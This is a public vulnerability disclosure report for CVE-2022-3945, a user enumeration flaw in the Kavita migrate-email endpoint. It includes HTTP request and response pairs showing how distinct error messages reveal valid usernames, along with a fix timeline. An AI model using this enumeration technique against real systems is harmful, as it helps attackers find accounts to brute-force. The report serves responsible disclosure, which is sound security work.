

User Enumeration in kareadita/kavita

1

 Valid

Reported on Oct 26th 2022

Description

The migrate-email endpoint is requiring Email, Username, and Password parameter. The Username parameter value will be queried to _userManager.Users and will return data to user variable, if user variable contain null value, the application will return bad request with "Invalid username" message, which is similar to user doesn't exist message.

This bad request message can be used for user enumeration, with the assumption if an Username parameter value using the valid username, the backend will return the different message.

Proof of Concept

1. Send a request with the following parameter :

- Email parameter with any email value
- Username parameter with any value
- Password parameter with any value

Request

PrettyRawHex

```
1 POST /api/account/migrate-email HTTP/1.1
2 Host: 192.168.189.132:5000
3 Accept: application/json, text/plain, */*
4 DNT: 1
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0
  Safari/537.36
6 Referer: http://192.168.189.132:5000/admin/dashboard
7 Accept-Encoding: gzip, deflate
8 Accept-Language:
  en-US,en;q=0.9,id-ID;q=0.8,id;q=0.7,ar-SA;q=0.6,ar;q=0.5
9 Connection: close
10 Content-Type: application/json
11 Content-Length: 65
12
13 {
14   "Email": "xxx@local.com",
15   "Username": "xxx",
16   "Password": "xxx"
17 }
```

Response

PrettyRawHexRender

```
1 HTTP/1.1 400 Bad Request
2 Connection: close
3 Content-Type: text/plain; charset=utf-8
4 Date: Thu, 27 Oct 2022 00:54:44 GMT
5 Server: Kestrel
6 Vary: Accept-Encoding
7 X-Frame-Options: SAMEORIGIN
8 Content-Security-Policy: frame-ancestors 'none';
9 Content-Length: 16
10
11 Invalid username
```

[Chat with us](#)

2. The backend will response "Invalid username"

3. An then, try to put the valid Username on Username parameter.

Request

```
1 POST /api/account/migrate-email HTTP/1.1
2 Host: 192.168.189.132:5000
3 Accept: application/json, text/plain, */*
4 DNT: 1
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0
  Safari/537.36
6 Referer: http://192.168.189.132:5000/admin/dashboard
7 Accept-Encoding: gzip, deflate
8 Accept-Language:
  en-US,en;q=0.9,id-ID;q=0.8,id;q=0.7,ar-SA;q=0.6,ar;q=0.5
9 Connection: close
10 Content-Type: application/json
11 Content-Length: 67
12 {
13   "Email": "xxx@local.com",
14   "Username": "admin",
15   "Password": "xxx"
16 }
```

Response

```
1 HTTP/1.1 400 Bad Request
2 Connection: close
3 Content-Type: text/plain; charset=utf-8
4 Date: Thu, 27 Oct 2022 00:59:56 GMT
5 Server: Kestrel
6 Vary: Accept-Encoding
7 X-Frame-Options: SAMEORIGIN
8 Content-Security-Policy: frame-ancestors 'none';
9 Content-Length: 32
10
11 Your credentials are not correct
```

4. The backend will response "Your credentials are not correct".

Impact

An attacker could perform an bruteforce attack to either guess or confirm valid users in a system.

Occurrences

C# AccountController.cs L881-L887

References

- [What Is User Enumeration?](#)

CVE

CVE-2022-3945

(Published)

Vulnerability Type

CWE-307: Improper Restriction of Excessive Authentication Attempts

Chat with us

Severity

Critical (9.4)

Registry

Other

Affected Version

0.6.0.0

Visibility

Public

Status

Fixed

Found by



zetc0de

@zetc0de

legend ▼



This report was seen 471 times.

We are processing your report and will contact the **kareadita/kavita** team within 24 hours.
a month ago

We have contacted a member of the **kareadita/kavita** team and are waiting to hear back
a month ago

A **kareadita/kavita** maintainer has acknowledged this report a month ago

Joe Milazzo validated this vulnerability 25 days ago

zetc0de has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Joe Milazzo marked this as fixed in **0.6.0.3** with commit **f8db37** 25 days ago

The fix bounty has been dropped ✗

Chat with us

This vulnerability has been assigned a CVE ✓

AccountController.cs#L881-L887 has been validated ✓

zetcOde [25 days ago](#)

Researcher

@admin can disclose this report? Also can to assign cve for this vulnerability?

Joe Milazzo [25 days ago](#)

Maintainer

This is not ready for disclosure. I will publish when it is ready.

Joe Milazzo published this vulnerability 15 days ago

Sign in to join this conversation

2022 © 418sec

huntr

home

hacktivity

leaderboard

FAQ

contact us

terms

privacy policy

part of 418sec

company

about

team

Chat with us

[Chat with us](#)